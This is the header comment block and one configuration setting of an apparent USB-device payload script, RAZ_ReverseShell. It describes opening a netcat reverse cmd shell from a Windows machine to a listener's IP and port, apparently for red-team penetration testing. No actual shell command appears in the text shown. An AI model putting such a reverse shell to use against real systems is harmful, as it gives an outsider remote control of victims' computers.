# Title:         RAZ_ReverseShell
# Author:        RalphyZ
# Version:       1.0
# Target:        Windows 7+
# Dependencies:  The following files must exist in the switch folder:
#                nc.exe - Windows binary for netcat with the -e flag
#                listener_port.txt - The Port number for the netcat listener
#                listener_ip.txt - The IP Address for the netcat listener
# 
# Description:   Executes a netcat reverse cmd shell at a given IP and Port
#                Intentionally, this script leaves a trace in the Run Box
#
# Colors:
# Green.....................Working
# White.....................Completed without error
# White (blinking)..........Incrementing the port in listener_port.txt
# Blue (blinking)...........listener_port.txt was not found
# Light-Blue (blinking).....listener_ip.txt was not found
# Amber (blinking)..........nc.exe was not found


# Change this if you want to enable auto_increment of the netcat port
# If true, the port number is increased by 1 everytime the script runs
# This is good for Red Teams doing PenTesting on multiple computers
auto_increment=false
